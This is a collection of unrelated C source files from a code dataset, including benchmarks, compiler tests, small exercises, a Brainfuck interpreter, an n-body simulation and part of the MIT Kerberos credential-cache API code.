// Use the current time to seed the random number generator:
srand( time( NULL ) );
print_version();
for ( i = 0; i < REPEATS; i++ ) {
printf( "# c::%s\n", NAME );
elapsed = benchmark();
print_results( elapsed );
printf( "ok %d benchmark finished\n", i+1 );
}
print_summary( REPEATS, REPEATS );
}
|
the_stack_data/59512611.c
|
// Copyright 2016 The Fuchsia Authors
// Copyright 2002, Manuel J. Petit
// Copyright (c) 2008 Travis Geiselbrecht
//
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file or at
// https://opensource.org/licenses/MIT
#include <string.h>
#include <sys/types.h>
size_t
strlcat(char *dst, char const *src, size_t s)
{
size_t i;
size_t j= strnlen(dst, s);
if (!s) {
return j+strlen(src);
}
dst+= j;
for (i= 0; ((i< s-1) && src[i]); i++) {
dst[i]= src[i];
}
dst[i]= 0;
return j + i + strlen(src+i);
}
|
the_stack_data/68888936.c
|
#include <stdio.h>
int main(void)
{
int tc, T;
int W, i, j, sum;
// freopen("sample_input.txt", "r", stdin);
// setbuf(stdout, NULL);
scanf("%d", &T);
for (tc = 0; tc < T; ++tc) {
scanf("%d\n", &W);
for (sum = 0, i = 0; i < 9; ++i) {
scanf("%d", &j);
sum += j;
}
if (sum <= W) printf("YES\n");
else printf("NO\n");
}
return 0;
}
|
the_stack_data/595223.c
|
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdnoreturn.h>
typedef uint64_t Cell;
typedef struct _llist {
size_t n;
struct _llist *next;
} list;
typedef struct {
Cell *tape;
size_t tapesize;
size_t ptr;
list *stack;
} bf_state;
#define error(...) _error(__FILE__, __LINE__, __VA_ARGS__)
noreturn void _error(const char *file, int line, const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stderr, "ERROR %s:%d: ", file, line);
vfprintf(stderr, fmt, args);
fprintf(stderr, "\n");
va_end(args);
abort();
}
void *alloc(size_t size) {
void *ret = calloc(1, size);
if (!ret) {
error("Error allocating.");
}
return ret;
}
#define INIT_TAPESIZE 512
bf_state init_state(void) {
bf_state ret = {.tape = alloc(INIT_TAPESIZE * sizeof(Cell)), .tapesize = INIT_TAPESIZE, .ptr = 0, .stack = NULL};
return ret;
}
bool valid_bf(const char *bf) {
size_t nesting = 0;
while (*bf) {
if (*bf == '[') {
nesting++;
} else if (*bf == ']') {
if (nesting == 0) {
return false;
}
nesting--;
}
bf++;
}
if (nesting) {
return false;
}
return true;
}
void interpret(const char *bf, bf_state *state) {
char c;
size_t i;
for (i = 0; (c = bf[i]); i++) {
switch (c) {
case '>':
if (++state->ptr > state->tapesize-1) {
// "realloc" except it zeroes everything else
bf_state oldstate = *state;
state->tape = alloc(sizeof(Cell) * (state->tapesize *= 2));
memcpy(state->tape, oldstate.tape, sizeof(Cell) * oldstate.tapesize);
free(oldstate.tape);
}
break;
case '<':
// wrapping smenatics
if ((state->ptr--) == 0) {
state->ptr = state->tapesize-1;
}
break;
case '+':
state->tape[state->ptr]++;
break;
case '-':
state->tape[state->ptr]--;
break;
case '.':
putchar(state->tape[state->ptr]);
break;
case ',':
state->tape[state->ptr] = getchar();
break;
case '[':
{
// seek to the matching ']'
if (!state->tape[state->ptr]) {
size_t nesting = 1;
while (bf[i++] && nesting) {
switch (bf[i]) {
case '[':
nesting++; break;
case ']':
nesting--; break;
}
}
// got to the end of the code but didn't get to a final closing ]
if (nesting) {
error("INTERNAL ERROR! Mismatched loop (this should never be called");
} else {
// oh, look how convenient! We're just at the closing ] now.
break;
}
}
// push the current code index onto the stack
list *old = state->stack;
state->stack = alloc(sizeof(list));
state->stack->n = i;
state->stack->next = old;
}
break;
case ']':
if (!state->stack) {
error("INTERNAL ERROR! Mismatched loop (this should never be called");
}
if (state->tape[state->ptr]) {
i = state->stack->n;
} else {
// pop off the top stack value, we're done with that loop
list *old = state->stack->next;
free(state->stack);
state->stack = old;
}
break;
}
}
}
int main(int argc, char **argv) {
if (argc == 1) {
error("Required brainfuck code as command-line argument.");
}
if (!valid_bf(argv[1])) {
error("You have invalid brainfuck (and how?? It's pretty fucking hard to get invalid brainfuck)");
}
bf_state state = init_state();
interpret(argv[1], &state);
free(state.tape);
return 0;
}
|
the_stack_data/133249.c
|
/* { dg-do compile { target *-*-linux* } } */
/* { dg-options "-O2 -mlong-double-80 -mbionic" } */
long double
foo (long double x)
{
return x * x;
}
/* { dg-final { scan-assembler "fldt" } } */
/* { dg-final { scan-assembler-not "call\[\\t \]*_?__multf3" } } */
|
the_stack_data/87637015.c
|
extern void checkUntainted (/*@untainted@*/ char *s) ;
extern void checkTainted (/*@tainted@*/ char *s) ;
void test (/*@tainted@*/ char *def)
{
checkTainted (def);
checkUntainted (def); /* error */
}
|
the_stack_data/75974.c
|
// Program to sort an array of integers into ascending order
#include <stdio.h>
#include <stdlib.h>
void sort (int *a, int *last, int *ascending)
{
int *i, *j;
int temp;
for ( i = a; i < last - 1; ++i ) {
for ( j = i + 1; j < last; ++j ) {
if ( (*ascending && *i > *j) || (!*ascending && *i < *j) ) {
temp = *i;
*i = *j;
*j = temp;
}
}
}
}
int main (void)
{
int *i, asc;
int array[16] = { 34, -5, 6, 0, 12, 100, 56, 22,
44, -3, -9, 12, 17, 22, 6, 11 };
void sort (int *a, int *last, int *ascending);
printf ("The array before the sort:\n");
for ( i = array; i < array + 16; ++i )
printf ("%i ", *i);
asc = 1;
sort (array, &array[16], &asc);
printf ("\n\nThe array after the ascending sort:\n");
for ( i = array; i < array + 16; ++i )
printf ("%i ", *i);
asc = 0;
sort (array, &array[16], &asc);
printf ("\n\nThe array after the descending sort:\n");
for ( i = array; i < array + 16; ++i )
printf ("%i ", *i);
printf ("\n");
return 0;
}
|
the_stack_data/179831831.c
|
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#define INF 1000000000
typedef struct Pair {
int first;
int second;
} Pair;
bool equal(Pair a, Pair b)
{
return (a.first == b.first) && (a.second == b.second);
}
int main()
{
int m = 0;
int n = 0;
printf("Enter count rows and columns of array: ");
scanf("%i %i", &m, &n);
int** array;
array = (int**)calloc(m, sizeof(*array));
for (int i = 0; i < m; ++i)
array[i] = (int*)calloc(n, sizeof(*array[i]));
printf("Enter array: ");
for (int i = 0; i < m; ++i)
for (int j = 0; j < n; ++j)
scanf("%i", &array[i][j]);
Pair* minRows = malloc(m * sizeof(Pair));
Pair* maxColumns = malloc(n * sizeof(Pair));
for (int i = 0; i < m; ++i) {
int min = INF;
int minIndex = 0;
for (int j = 0; j < n; ++j) {
if (array[i][j] < min) {
min = array[i][j];
minIndex = j;
}
}
Pair pair = { i, minIndex };
minRows[i] = pair;
}
for (int j = 0; j < n; ++j) {
int max = -INF;
int maxIndex = 0;
for (int i = 0; i < m; ++i) {
if (array[i][j] > max) {
max = array[i][j];
maxIndex = i;
}
}
Pair pair = { maxIndex, j };
maxColumns[j] = pair;
}
for (int i = 0; i < m; ++i)
for (int j = 0; j < n; ++j)
if (equal(minRows[i], maxColumns[j]))
printf("%i %i\n", minRows[i].first, minRows[i].second);
for (int i = 0; i < m; ++i)
free(array[i]);
free(array);
free(minRows);
free(maxColumns);
return 0;
}
|
the_stack_data/6388265.c
|
#include<stdio.h>
int main() {
// declare and initialize string
char str[] = "Computer";
printf("%s", str);
return 0;
}
|
the_stack_data/64200413.c
|
#include <stdio.h>
#include <locale.h>
int main() {
setlocale(LC_ALL, "Portuguese");
char nome[30];
float nota1, nota2, media;
printf("<<< EX009 - MÉDIA DO ALUNO >>>\n\n");
printf("Nome do aluno: ");
gets(nome);
printf("Nota 1: ");
fflush(stdin);
scanf("%f", ¬a1);
printf("Nota2: ");
fflush(stdin);
scanf("%f", ¬a2);
media = (nota1+nota2)/2;
printf("O aluno %s tirou notas %.1f e %.1f e ficou com média %.1f\n", nome, nota1, nota2, media);
return 0;
}
|
the_stack_data/1045265.c
|
// code: 1
int main() { return 2 || 0; }
|
the_stack_data/132953570.c
|
// RUN: %clang -### -target amdgcn--amdhsa -x assembler -mcpu=kaveri %s 2>&1 | FileCheck -check-prefix=AS_LINK %s
// AS_LINK: clang{{.*}} "-cc1as"
// AS_LINK: lld{{.*}} "-flavor" "old-gnu" "-target" "amdgcn--amdhsa"
|
the_stack_data/575765.c
|
/*
* GAME=n-body
* CFLAGS=-O3 -Wall -fomit-frame-pointer -march=native -mfpmath=sse -msse3 -pipe
* LDFLAGS=-lm
* LANG=c
*
* Originally from:
* The Computer Language Benchmarks Game
* http://benchmarksgame.alioth.debian.org/
*
* contributed by Mark C. Lewis
* modified slightly by Chad Whipkey
* converted from java to c++,added sse support, by Branimir Maksimovic
* converted from c++ to c, by Alexey Medvedchikov
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of "The Computer Language Benchmarks Game" nor the name
* of "The Computer Language Shootout Benchmarks" nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
#include <immintrin.h>
#define PI 3.141592653589793
#define SOLAR_MASS ( 4 * PI * PI )
#define DAYS_PER_YEAR 365.24
struct body {
double x[3], fill, v[3], mass;
};
static struct body solar_bodies[] = {
/* sun */
{
.x = { 0., 0., 0. },
.v = { 0., 0., 0. },
.mass = SOLAR_MASS
},
/* jupiter */
{
.x = { 4.84143144246472090e+00,
-1.16032004402742839e+00,
-1.03622044471123109e-01 },
.v = { 1.66007664274403694e-03 * DAYS_PER_YEAR,
7.69901118419740425e-03 * DAYS_PER_YEAR,
-6.90460016972063023e-05 * DAYS_PER_YEAR },
.mass = 9.54791938424326609e-04 * SOLAR_MASS
},
/* saturn */
{
.x = { 8.34336671824457987e+00,
4.12479856412430479e+00,
-4.03523417114321381e-01 },
.v = { -2.76742510726862411e-03 * DAYS_PER_YEAR,
4.99852801234917238e-03 * DAYS_PER_YEAR,
2.30417297573763929e-05 * DAYS_PER_YEAR },
.mass = 2.85885980666130812e-04 * SOLAR_MASS
},
/* uranus */
{
.x = { 1.28943695621391310e+01,
-1.51111514016986312e+01,
-2.23307578892655734e-01 },
.v = { 2.96460137564761618e-03 * DAYS_PER_YEAR,
2.37847173959480950e-03 * DAYS_PER_YEAR,
-2.96589568540237556e-05 * DAYS_PER_YEAR },
.mass = 4.36624404335156298e-05 * SOLAR_MASS
},
/* neptune */
{
.x = { 1.53796971148509165e+01,
-2.59193146099879641e+01,
1.79258772950371181e-01 },
.v = { 2.68067772490389322e-03 * DAYS_PER_YEAR,
1.62824170038242295e-03 * DAYS_PER_YEAR,
-9.51592254519715870e-05 * DAYS_PER_YEAR },
.mass = 5.15138902046611451e-05 * SOLAR_MASS
}
};
static const int BODIES_SIZE = sizeof(solar_bodies) / sizeof(solar_bodies[0]);
void offset_momentum(struct body *bodies, unsigned int nbodies)
{
unsigned int i, k;
for (i = 0; i < nbodies; ++i)
for (k = 0; k < 3; ++k)
bodies[0].v[k] -= bodies[i].v[k] * bodies[i].mass
/ SOLAR_MASS;
}
void bodies_advance(struct body *bodies, unsigned int nbodies, double dt)
{
unsigned int N = (nbodies - 1) * nbodies / 2;
static struct {
double dx[3], fill;
} r[1000];
static __attribute__((aligned(16))) double mag[1000];
unsigned int i, j, k, m;
__m128d dx[3], dsquared, distance, dmag;
for(k = 0, i = 0; i < nbodies - 1; ++i)
for(j = i + 1; j < nbodies; ++j, ++k)
for ( m = 0; m < 3; ++m)
r[k].dx[m] = bodies[i].x[m] - bodies[j].x[m];
for (i = 0; i < N; i += 2) {
for (m = 0; m < 3; ++m) {
dx[m] = _mm_loadl_pd(dx[m], &r[i].dx[m]);
dx[m] = _mm_loadh_pd(dx[m], &r[i+1].dx[m]);
}
dsquared = dx[0] * dx[0] + dx[1] * dx[1] + dx[2] * dx[2];
distance = _mm_cvtps_pd(_mm_rsqrt_ps(_mm_cvtpd_ps(dsquared)));
for (j = 0; j < 2; ++j)
distance = distance * _mm_set1_pd(1.5)
- ((_mm_set1_pd(0.5) * dsquared) * distance)
* (distance * distance);
dmag = _mm_set1_pd(dt) / (dsquared) * distance;
_mm_store_pd(&mag[i], dmag);
}
for (i = 0, k = 0; i < nbodies - 1; ++i)
for ( j = i + 1; j < nbodies; ++j, ++k)
for ( m = 0; m < 3; ++m) {
bodies[i].v[m] -= r[k].dx[m] * bodies[j].mass
* mag[k];
bodies[j].v[m] += r[k].dx[m] * bodies[i].mass
* mag[k];
}
for (i = 0; i < nbodies; ++i)
for ( m = 0; m < 3; ++m)
bodies[i].x[m] += dt * bodies[i].v[m];
}
double bodies_energy(struct body *bodies, unsigned int nbodies) {
double dx[3], distance, e = 0.0;
unsigned int i, j, k;
for (i=0; i < nbodies; ++i) {
e += bodies[i].mass * ( bodies[i].v[0] * bodies[i].v[0]
+ bodies[i].v[1] * bodies[i].v[1]
+ bodies[i].v[2] * bodies[i].v[2] ) / 2.;
for (j=i+1; j < nbodies; ++j) {
for (k = 0; k < 3; ++k)
dx[k] = bodies[i].x[k] - bodies[j].x[k];
distance = sqrt(dx[0] * dx[0] + dx[1] * dx[1]
+ dx[2] * dx[2]);
e -= (bodies[i].mass * bodies[j].mass) / distance;
}
}
return e;
}
int main(int argc, char** argv)
{
int i, n = atoi(argv[1]);
offset_momentum(solar_bodies, BODIES_SIZE);
printf("%.9f\n", bodies_energy(solar_bodies, BODIES_SIZE));
for (i = 0; i < n; ++i)
bodies_advance(solar_bodies, BODIES_SIZE, 0.01);
printf("%.9f\n", bodies_energy(solar_bodies, BODIES_SIZE));
return 0;
}
|
the_stack_data/1222771.c
|
#include <stdio.h>
//é pra retornar o vetor no return?, por ex: "return vetor"? Não ficou claro.
void ler3Numeros(int *vetor){
int count = 3;
for (int i = 0; i < count; i++)
{
printf("Informe o %iº número: \n", i+1);
scanf("%i",&vetor[i]);
}
}
int main(int argc, char const *argv[])
{
int vetor[3]= {};
int count = 3;
ler3Numeros(vetor);
printf("Resultado:\n");
for (int i = 0; i < count; ++i)
{
printf("%d\n", vetor[i]);
}
return 0;
}
|
the_stack_data/200144116.c
|
//@ ltl invariant negative: (AP(x_6 - x_0 > 10) || (X ([] AP(x_3 - x_2 >= 15))));
float x_0;
float x_1;
float x_2;
float x_3;
float x_4;
float x_5;
float x_6;
float x_7;
int main()
{
float x_0_;
float x_1_;
float x_2_;
float x_3_;
float x_4_;
float x_5_;
float x_6_;
float x_7_;
while(1) {
x_0_ = (((10.0 + x_1) > (5.0 + x_3)? (10.0 + x_1) : (5.0 + x_3)) > ((16.0 + x_4) > (6.0 + x_6)? (16.0 + x_4) : (6.0 + x_6))? ((10.0 + x_1) > (5.0 + x_3)? (10.0 + x_1) : (5.0 + x_3)) : ((16.0 + x_4) > (6.0 + x_6)? (16.0 + x_4) : (6.0 + x_6)));
x_1_ = (((7.0 + x_1) > (8.0 + x_4)? (7.0 + x_1) : (8.0 + x_4)) > ((20.0 + x_5) > (19.0 + x_6)? (20.0 + x_5) : (19.0 + x_6))? ((7.0 + x_1) > (8.0 + x_4)? (7.0 + x_1) : (8.0 + x_4)) : ((20.0 + x_5) > (19.0 + x_6)? (20.0 + x_5) : (19.0 + x_6)));
x_2_ = (((13.0 + x_0) > (2.0 + x_2)? (13.0 + x_0) : (2.0 + x_2)) > ((14.0 + x_6) > (19.0 + x_7)? (14.0 + x_6) : (19.0 + x_7))? ((13.0 + x_0) > (2.0 + x_2)? (13.0 + x_0) : (2.0 + x_2)) : ((14.0 + x_6) > (19.0 + x_7)? (14.0 + x_6) : (19.0 + x_7)));
x_3_ = (((17.0 + x_1) > (10.0 + x_2)? (17.0 + x_1) : (10.0 + x_2)) > ((8.0 + x_4) > (18.0 + x_6)? (8.0 + x_4) : (18.0 + x_6))? ((17.0 + x_1) > (10.0 + x_2)? (17.0 + x_1) : (10.0 + x_2)) : ((8.0 + x_4) > (18.0 + x_6)? (8.0 + x_4) : (18.0 + x_6)));
x_4_ = (((20.0 + x_1) > (18.0 + x_3)? (20.0 + x_1) : (18.0 + x_3)) > ((14.0 + x_5) > (13.0 + x_7)? (14.0 + x_5) : (13.0 + x_7))? ((20.0 + x_1) > (18.0 + x_3)? (20.0 + x_1) : (18.0 + x_3)) : ((14.0 + x_5) > (13.0 + x_7)? (14.0 + x_5) : (13.0 + x_7)));
x_5_ = (((19.0 + x_3) > (15.0 + x_4)? (19.0 + x_3) : (15.0 + x_4)) > ((6.0 + x_5) > (4.0 + x_7)? (6.0 + x_5) : (4.0 + x_7))? ((19.0 + x_3) > (15.0 + x_4)? (19.0 + x_3) : (15.0 + x_4)) : ((6.0 + x_5) > (4.0 + x_7)? (6.0 + x_5) : (4.0 + x_7)));
x_6_ = (((14.0 + x_2) > (7.0 + x_3)? (14.0 + x_2) : (7.0 + x_3)) > ((15.0 + x_6) > (17.0 + x_7)? (15.0 + x_6) : (17.0 + x_7))? ((14.0 + x_2) > (7.0 + x_3)? (14.0 + x_2) : (7.0 + x_3)) : ((15.0 + x_6) > (17.0 + x_7)? (15.0 + x_6) : (17.0 + x_7)));
x_7_ = (((13.0 + x_2) > (8.0 + x_3)? (13.0 + x_2) : (8.0 + x_3)) > ((6.0 + x_6) > (17.0 + x_7)? (6.0 + x_6) : (17.0 + x_7))? ((13.0 + x_2) > (8.0 + x_3)? (13.0 + x_2) : (8.0 + x_3)) : ((6.0 + x_6) > (17.0 + x_7)? (6.0 + x_6) : (17.0 + x_7)));
x_0 = x_0_;
x_1 = x_1_;
x_2 = x_2_;
x_3 = x_3_;
x_4 = x_4_;
x_5 = x_5_;
x_6 = x_6_;
x_7 = x_7_;
}
return 0;
}
|
the_stack_data/40761730.c
|
/*
Copyright (c) 2018, Electrux
All rights reserved.
Using the BSD 3-Clause license for the project,
main LICENSE file resides in project's root directory.
Please read that file and understand the license terms
before using or altering the project.
*/
#include <stdio.h>
#include <stdlib.h>
int main()
{
return 0;
}
|
the_stack_data/59513599.c
|
/* libyywrap - flex run-time support library "yywrap" function */
/* $Header$ */
int yywrap(void)
{
return 1;
}
|
the_stack_data/178265491.c
|
/* { dg-do compile } */
/* { dg-options "-w -fdump-rtl-expand" } */
/* { dg-skip-if "" { *-*-* } { } { "-O2" } } */
extern char errbuf[];
typedef struct Symbol
{
char *name;
}
Symbol;
typedef struct Tnode
{
}
Tnode;
typedef union Value
{
long long i;
}
Value;
typedef struct Entry
{
}
Entry;
typedef struct Table
{
}
Table;
typedef struct Node
{
Tnode *typ;
int sto;
Value val;
}
Node;
struct Scope
{
Table *table;
} *sp;
static Node op (Node);
Entry *p, *q;
union YYSTYPE
{
Symbol *sym;
Node rec;
};
typedef union YYSTYPE YYSTYPE;
typedef short int yytype_int16;
int
yyparse (void)
{
YYSTYPE yyval;
int yyn;
YYSTYPE *yyvsp;
while (1)
{
if (yyn == 34)
{
if ((yyvsp[-1].rec).sto & 0x10)
sprintf (errbuf, "invalid typedef qualifier for '%s'",
(yyvsp[0].sym)->name);
p = enter (sp->table, (yyvsp[0].sym));
}
else
op ((yyvsp[0].rec));
*++yyvsp = yyval;
}
}
static Node
op (Node q)
{
integer (q.typ);
mgtype (q.typ);
}
/* { dg-final { scan-rtl-dump-times "\\\(set \\\(reg:SI 5 \\\$5\\\)" 2 "expand" { target { ilp32 } } } } */
/* { dg-final { scan-rtl-dump-times "\\\(set \\\(reg:SI 6 \\\$6\\\)" 1 "expand" { target { ilp32 } } } } */
/* { dg-final { scan-rtl-dump-times "\\\(set \\\(reg:DI 5 \\\$5\\\)" 2 "expand" { target { lp64 } } } } */
/* { dg-final { scan-rtl-dump-times "\\\(set \\\(reg:DI 6 \\\$6\\\)" 1 "expand" { target { lp64 } } } } */
|
the_stack_data/144947.c
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <ctype.h>
void* count_word(void* name);
struct arg_set {
char* filename;
int count;
};
int main(int argc, char** argv) {
if (argc != 3) {
fprintf(stderr, "Usage ./a.out filename1 filename2.\n");
exit(1);
}
pthread_t t1, t2;
struct arg_set set1;
struct arg_set set2;
set1.filename = argv[1];
set1.count = 0;
set2.filename = argv[2];
set2.count = 0;
pthread_create(&t1, NULL, count_word, &set1);
pthread_create(&t2, NULL, count_word, &set2);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
printf("WC: %d\n", set1.count + set2.count);
exit(0);
}
void* count_word(void* arg) {
struct arg_set* ar = (struct arg_set*)arg;
char* filename = ar->filename;
FILE* fp;
int c;
int prev = '\0';
if ((fp = fopen(filename, "r")) != NULL) {
while ((c = getc(fp)) != EOF) {
if (!isalnum(c) && isalnum(prev)) {
ar->count++;
}
prev = c;
}
}
fclose(fp);
return NULL;
}
|
the_stack_data/181394230.c
|
/* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */
/* lib/krb5/ccache/ccapi/stdcc.c - ccache API support functions */
/*
* Copyright 1998, 1999, 2006, 2008 by the Massachusetts Institute of
* Technology. All Rights Reserved.
*
* Export of this software from the United States of America may
* require a specific license from the United States Government.
* It is the responsibility of any person or organization contemplating
* export to obtain such a license before exporting.
*
* WITHIN THAT CONSTRAINT, permission to use, copy, modify, and
* distribute this software and its documentation for any purpose and
* without fee is hereby granted, provided that the above copyright
* notice appear in all copies and that both that copyright notice and
* this permission notice appear in supporting documentation, and that
* the name of M.I.T. not be used in advertising or publicity pertaining
* to distribution of the software without specific, written prior
* permission. Furthermore if you modify this software you must label
* your software as modified software and not distribute it in such a
* fashion that it might be confused with the original M.I.T. software.
* M.I.T. makes no representations about the suitability of
* this software for any purpose. It is provided "as is" without express
* or implied warranty.
*/
/*
* Written by Frank Dabek July 1998
* Updated by Jeffrey Altman June 2006
*/
#if defined(_WIN32) || defined(USE_CCAPI)
#include "k5-int.h"
#include "../cc-int.h"
#include "stdcc.h"
#include "stdcc_util.h"
#include "string.h"
#include <stdio.h>
#if defined(_WIN32)
#include "winccld.h"
#endif
#ifndef CC_API_VER2
#define CC_API_VER2
#endif
#ifdef DEBUG
#if defined(_WIN32)
#include <io.h>
#define SHOW_DEBUG(buf) MessageBox((HWND)NULL, (buf), "ccapi debug", MB_OK)
#endif
/* XXX need macintosh debugging statement if we want to debug */
/* on the mac */
#else
#define SHOW_DEBUG(buf)
#endif
#ifdef USE_CCAPI_V3
cc_context_t gCntrlBlock = NULL;
cc_int32 gCCVersion = 0;
#else
apiCB *gCntrlBlock = NULL;
#endif
/*
* declare our global object wanna-be
* must be installed in ccdefops.c
*/
krb5_cc_ops krb5_cc_stdcc_ops = {
0,
"API",
#ifdef USE_CCAPI_V3
krb5_stdccv3_get_name,
krb5_stdccv3_resolve,
krb5_stdccv3_generate_new,
krb5_stdccv3_initialize,
krb5_stdccv3_destroy,
krb5_stdccv3_close,
krb5_stdccv3_store,
krb5_stdccv3_retrieve,
krb5_stdccv3_get_principal,
krb5_stdccv3_start_seq_get,
krb5_stdccv3_next_cred,
krb5_stdccv3_end_seq_get,
krb5_stdccv3_remove,
krb5_stdccv3_set_flags,
krb5_stdccv3_get_flags,
krb5_stdccv3_ptcursor_new,
krb5_stdccv3_ptcursor_next,
krb5_stdccv3_ptcursor_free,
NULL, /* move */
krb5_stdccv3_last_change_time, /* lastchange */
NULL, /* wasdefault */
krb5_stdccv3_lock,
krb5_stdccv3_unlock,
krb5_stdccv3_switch_to,
#else
krb5_stdcc_get_name,
krb5_stdcc_resolve,
krb5_stdcc_generate_new,
krb5_stdcc_initialize,
krb5_stdcc_destroy,
krb5_stdcc_close,
krb5_stdcc_store,
krb5_stdcc_retrieve,
krb5_stdcc_get_principal,
krb5_stdcc_start_seq_get,
krb5_stdcc_next_cred,
krb5_stdcc_end_seq_get,
krb5_stdcc_remove,
krb5_stdcc_set_flags,
krb5_stdcc_get_flags,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
#endif
};
#if defined(_WIN32)
/*
* cache_changed be called after the cache changes.
* A notification message is is posted out to all top level
* windows so that they may recheck the cache based on the
* changes made. We register a unique message type with which
* we'll communicate to all other processes.
*/
static void cache_changed()
{
static unsigned int message = 0;
if (message == 0)
message = RegisterWindowMessage(WM_KERBEROS5_CHANGED);
PostMessage(HWND_BROADCAST, message, 0, 0);
}
#else /* _WIN32 */
static void cache_changed()
{
return;
}
#endif /* _WIN32 */
struct err_xlate
{
int cc_err;
krb5_error_code krb5_err;
};
static const struct err_xlate err_xlate_table[] =
{
#ifdef USE_CCAPI_V3
{ ccIteratorEnd, KRB5_CC_END },
{ ccErrBadParam, KRB5_FCC_INTERNAL },
{ ccErrNoMem, KRB5_CC_NOMEM },
{ ccErrInvalidContext, KRB5_FCC_NOFILE },
{ ccErrInvalidCCache, KRB5_FCC_NOFILE },
{ ccErrInvalidString, KRB5_FCC_INTERNAL },
{ ccErrInvalidCredentials, KRB5_FCC_INTERNAL },
{ ccErrInvalidCCacheIterator, KRB5_FCC_INTERNAL },
{ ccErrInvalidCredentialsIterator, KRB5_FCC_INTERNAL },
{ ccErrInvalidLock, KRB5_FCC_INTERNAL },
{ ccErrBadName, KRB5_CC_BADNAME },
{ ccErrBadCredentialsVersion, KRB5_FCC_INTERNAL },
{ ccErrBadAPIVersion, KRB5_FCC_INTERNAL },
{ ccErrContextLocked, KRB5_FCC_INTERNAL },
{ ccErrContextUnlocked, KRB5_FCC_INTERNAL },
{ ccErrCCacheLocked, KRB5_FCC_INTERNAL },
{ ccErrCCacheUnlocked, KRB5_FCC_INTERNAL },
{ ccErrBadLockType, KRB5_FCC_INTERNAL },
{ ccErrNeverDefault, KRB5_FCC_INTERNAL },
{ ccErrCredentialsNotFound, KRB5_CC_NOTFOUND },
{ ccErrCCacheNotFound, KRB5_FCC_NOFILE },
{ ccErrContextNotFound, KRB5_FCC_NOFILE },
{ ccErrServerUnavailable, KRB5_CC_IO },
{ ccErrServerInsecure, KRB5_CC_IO },
{ ccErrServerCantBecomeUID, KRB5_CC_IO },
{ ccErrTimeOffsetNotSet, KRB5_FCC_INTERNAL },
{ ccErrBadInternalMessage, KRB5_FCC_INTERNAL },
{ ccErrNotImplemented, KRB5_FCC_INTERNAL },
#else
{ CC_BADNAME, KRB5_CC_BADNAME },
{ CC_NOTFOUND, KRB5_CC_NOTFOUND },
{ CC_END, KRB5_CC_END },
{ CC_IO, KRB5_CC_IO },
{ CC_WRITE, KRB5_CC_WRITE },
{ CC_NOMEM, KRB5_CC_NOMEM },
{ CC_FORMAT, KRB5_CC_FORMAT },
{ CC_WRITE, KRB5_CC_WRITE },
{ CC_LOCKED, KRB5_FCC_INTERNAL /* XXX */ },
{ CC_BAD_API_VERSION, KRB5_FCC_INTERNAL /* XXX */ },
{ CC_NO_EXIST, KRB5_FCC_NOFILE },
{ CC_NOT_SUPP, KRB5_FCC_INTERNAL /* XXX */ },
{ CC_BAD_PARM, KRB5_FCC_INTERNAL /* XXX */ },
{ CC_ERR_CACHE_ATTACH, KRB5_FCC_INTERNAL /* XXX */ },
{ CC_ERR_CACHE_RELEASE, KRB5_FCC_INTERNAL /* XXX */ },
{ CC_ERR_CACHE_FULL, KRB5_FCC_INTERNAL /* XXX */ },
{ CC_ERR_CRED_VERSION, KRB5_FCC_INTERNAL /* XXX */ },
#endif
{ 0, 0 }
};
/* Note: cc_err_xlate is NOT idempotent. Don't call it multiple times. */
static krb5_error_code cc_err_xlate(int err)
{
const struct err_xlate *p;
#ifdef USE_CCAPI_V3
if (err == ccNoError)
return 0;
#else
if (err == CC_NOERROR)
return 0;
#endif
for (p = err_xlate_table; p->cc_err; p++) {
if (err == p->cc_err)
return p->krb5_err;
}
return KRB5_FCC_INTERNAL;
}
#ifdef USE_CCAPI_V3
static krb5_error_code stdccv3_get_timeoffset (krb5_context in_context,
cc_ccache_t in_ccache)
{
krb5_error_code err = 0;
if (gCCVersion >= ccapi_version_5) {
krb5_os_context os_ctx = (krb5_os_context) &in_context->os_context;
cc_time_t time_offset = 0;
err = cc_ccache_get_kdc_time_offset (in_ccache, cc_credentials_v5,
&time_offset);
if (!err) {
os_ctx->time_offset = time_offset;
os_ctx->usec_offset = 0;
os_ctx->os_flags = ((os_ctx->os_flags & ~KRB5_OS_TOFFSET_TIME) |
KRB5_OS_TOFFSET_VALID);
}
if (err == ccErrTimeOffsetNotSet) {
err = 0; /* okay if there is no time offset */
}
}
return err; /* Don't translate. Callers will translate for us */
}
static krb5_error_code stdccv3_set_timeoffset (krb5_context in_context,
cc_ccache_t in_ccache)
{
krb5_error_code err = 0;
